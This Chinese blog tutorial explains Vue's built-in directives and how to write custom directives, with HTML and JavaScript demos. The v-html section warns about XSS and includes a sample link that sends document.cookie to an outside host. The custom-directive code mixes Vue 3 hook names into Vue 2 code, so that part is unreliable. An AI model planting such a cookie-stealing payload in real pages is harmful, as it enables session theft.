Vue-内置指令与自定义指令

殊序

已于 2024-09-18 08:08:21 修改

阅读量571

点赞数 10

文章标签： vue.js javascript 前端

于 2024-09-17 15:40:27 首次发布

本文链接：https://blog.youkuaiyun.com/m0_63563047/article/details/142063536

版权

内置指令：

v-bind : 单向绑定解析表达式, 可简写为 :xxx

v-model : 双向数据绑定

v-for : 遍历数组/对象/字符串

v-on : 绑定事件监听, 可简写为@

v-if : 条件渲染（动态控制节点是否存存在）

v-else : 条件渲染（动态控制节点是否存存在）

v-show : 条件渲染 (动态控制节点是否展示)

v-text指令：

v-text指令： 
1.作用：向其所在的节点中渲染文本内容。 
2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-text指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>	
		<div id="root">
			<div>hello,{{name}}</div>
			<div v-text="name"></div>
			<div v-text="str"></div>
		</div>
	</body>

    <script type="text/javascript">
    	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    	Vue.config.devtools = true  //允许在调试使用vue-devtools工具
    	new Vue({
    		el:'#root',
    		data:{
    			name:'world',
    			str:'<h1>hello,world</h1>'  //v-text不解析标签
    		}
    	})
    </script>

</html>

v-html指令：

v-html指令： 
1.作用：向指定节点中渲染包含html结构的内容。 
2.与插值语法的区别： 
  (1).v-html会替换掉节点中所有的内容，{{xx}}则不会。 
  (2).v-html可以识别html结构。 
3.严重注意：v-html有安全性问题！！！！  
  (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。 
  (2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-text指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>	
		<div id="root">
			<div>hello,{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str1"><a href=""></a></div>
		</div>
	</body>

    <script type="text/javascript">
    	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    	Vue.config.devtools = true  //允许在调试使用vue-devtools工具
    	new Vue({
    		el:'#root',
    		data:{
    			name:'world',
    			str:'<h1>hello,world</h1>',
                str1:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>hello</a>'
    		}
    	})
    </script>

</html>

v-clock指令：

v-cloak指令（没有值）： 
1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。 
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			[v-cloak]{
				display:none;
			}
		</style>
	</head>
	<body>
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
    <script type="text/javascript">
    	console.log(1)
    	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    	Vue.config.devtools = true
    	new Vue({
    		el:'#root',
    		data:{
    			name:'hello,world!!'
    		}
    	})
    </script>

</html>

v-once指令：

v-once指令： 
1.v-once所在节点在初次动态渲染后，就视为静态内容了。 
2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once指令</title>
		<script type="text/javascript" src="./js/vue.js"></script>
	</head>
    
	<body>
		<div id="root">
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

    <script type="text/javascript">
    	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    	Vue.config.devtools = true
    	new Vue({
    		el:'#root',
    		data:{
    			n:1
    		}
    	})
    </script>

</html>

v-pre指令：

v-pre指令： 
1.跳过其所在节点的编译过程。 
2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre指令</title>
		<script type="text/javascript" src="./js/vue.js"></script>
	</head>
	<body>
		<div id="root">
			<h2 v-pre>hello,world!!!</h2>
			<h2 >当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>
    <script type="text/javascript">
    	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
        Vue.config.devtools = true
    	new Vue({
    		el:'#root',
    		data:{
    			n:1
    		}
    	})
    </script>

</html>

自定义指令：

需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。

需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。自定义指令总结：

一、定义语法：

(1).局部指令：

new Vue({																					
directives:{指令名:配置对象}   											
})
或
new Vue({ 					        
directives{指令名:回调函数}
})

(2).全局指令：

Vue.directive(指令名,配置对象) 或   Vue.directive(指令名,回调函数)

二、配置对象中常用的3个回调：

const myDirective = {
  // 在绑定元素的 attribute 前
  // 或事件监听器应用前调用
  created(el, binding, vnode) {
    // 下面会介绍各个参数的细节
  },
  // 在元素被插入到 DOM 前调用
  beforeMount(el, binding, vnode) {},
  // 在绑定元素的父组件
  // 及他自己的所有子节点都挂载完成后调用
  mounted(el, binding, vnode) {},
  // 绑定元素的父组件更新前调用
  beforeUpdate(el, binding, vnode, prevVnode) {},
  // 在绑定元素的父组件
  // 及他自己的所有子节点都更新后调用
  updated(el, binding, vnode, prevVnode) {},
  // 绑定元素的父组件卸载前调用
  beforeUnmount(el, binding, vnode) {},
  // 绑定元素的父组件卸载后调用
  unmounted(el, binding, vnode) {}
}

指令的钩子会传递以下几种参数：

el：指令绑定到的元素。这可以用于直接操作 DOM。
binding：一个对象，包含以下属性。
- value：传递给指令的值。例如在 v-my-directive="1 + 1" 中，值是 2。
- oldValue：之前的值，仅在 beforeUpdate 和 updated 中可用。无论值是否更改，它都可用。
- arg：传递给指令的参数 (如果有的话)。例如在 v-my-directive:foo 中，参数是 "foo"。
- modifiers：一个包含修饰符的对象 (如果有的话)。例如在 v-my-directive.foo.bar 中，修饰符对象是 { foo: true, bar: true }。
- instance：使用该指令的组件实例。
- dir：指令的定义对象。
vnode：代表绑定元素的底层 VNode。
prevVnode：代表之前的渲染中指令所绑定元素的 VNode。仅在 beforeUpdate 和 updated 钩子中可用。

三、备注：

1.指令定义时不加v-，但使用时要加v-；

2.指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。

下面通过代码演示自定义指令

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>demo</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        <h2>当前的n值是：<span v-text="n"></span> </h2>
        <!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> -->
        <h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
        <button @click="n++">点我n+1</button>
        <hr />
        <input type="text" v-fbind:value="n">
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false

    // //定义全局指令
    // Vue.directive('fbind', {
    //        // 在绑定元素的 attribute 前
    //     // 或事件监听器应用前调用
    //     created(element, binding) {
    //     },
    //     //指令与元素成功绑定时（一上来）
    //     bind(element, binding) {
    //         element.value = binding.value
    //     },
    //     //指令所在元素被插入页面时
    //     inserted(element, binding) {
    //         element.focus()
    //     },
    //     //指令所在的模板被重新解析时
    //     update(element, binding) {
    //         element.value = binding.value
    //     },
    //     // 在元素被插入到 DOM 前调用
    //     beforeMount(element, binding) { },
    //     // 在绑定元素的父组件
    //     // 及他自己的所有子节点都挂载完成后调用
    //     mounted(element, binding) { },
    //     // 绑定元素的父组件更新前调用
    //     beforeUpdate(element, binding) { },
    //     // 在绑定元素的父组件
    //     // 及他自己的所有子节点都更新后调用
    //     updated(element, binding) { },
    //     // 绑定元素的父组件卸载前调用
    //     beforeUnmount(element, binding) { },
    //     // 绑定元素的父组件卸载后调用
    //     unmounted(element, binding) { }
    // })

    new Vue({
        el: '#root',
        data: {
            name: '你好',
            n: 1
        },
        directives: {
            //big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。
            /* 'big-number'(element,binding){
                // console.log('big')
                element.innerText = binding.value * 10
            }, */
            big(element, binding) {
                console.log('big', this) //注意此处的this是window
                // console.log('big')
                element.innerText = binding.value * 10
            },
            fbind: {
                 
           // 在绑定元素的 attribute 前
        // 或事件监听器应用前调用
        created(element, binding) {
        },
        //指令与元素成功绑定时（一上来）
        bind(element, binding) {
            element.value = binding.value
        },
        //指令所在元素被插入页面时
        inserted(element, binding) {
            element.focus()
        },
        //指令所在的模板被重新解析时
        update(element, binding) {
            element.value = binding.value
        },
        // 在元素被插入到 DOM 前调用
        beforeMount(element, binding) { },
        // 在绑定元素的父组件
        // 及他自己的所有子节点都挂载完成后调用
        mounted(element, binding) { },
        // 绑定元素的父组件更新前调用
        beforeUpdate(element, binding) { },
        // 在绑定元素的父组件
        // 及他自己的所有子节点都更新后调用
        updated(element, binding) { },
        // 绑定元素的父组件卸载前调用
        beforeUnmount(element, binding) { },
        // 绑定元素的父组件卸载后调用
        unmounted(element, binding) { }
 

            }
        }
    })

</script>

</html>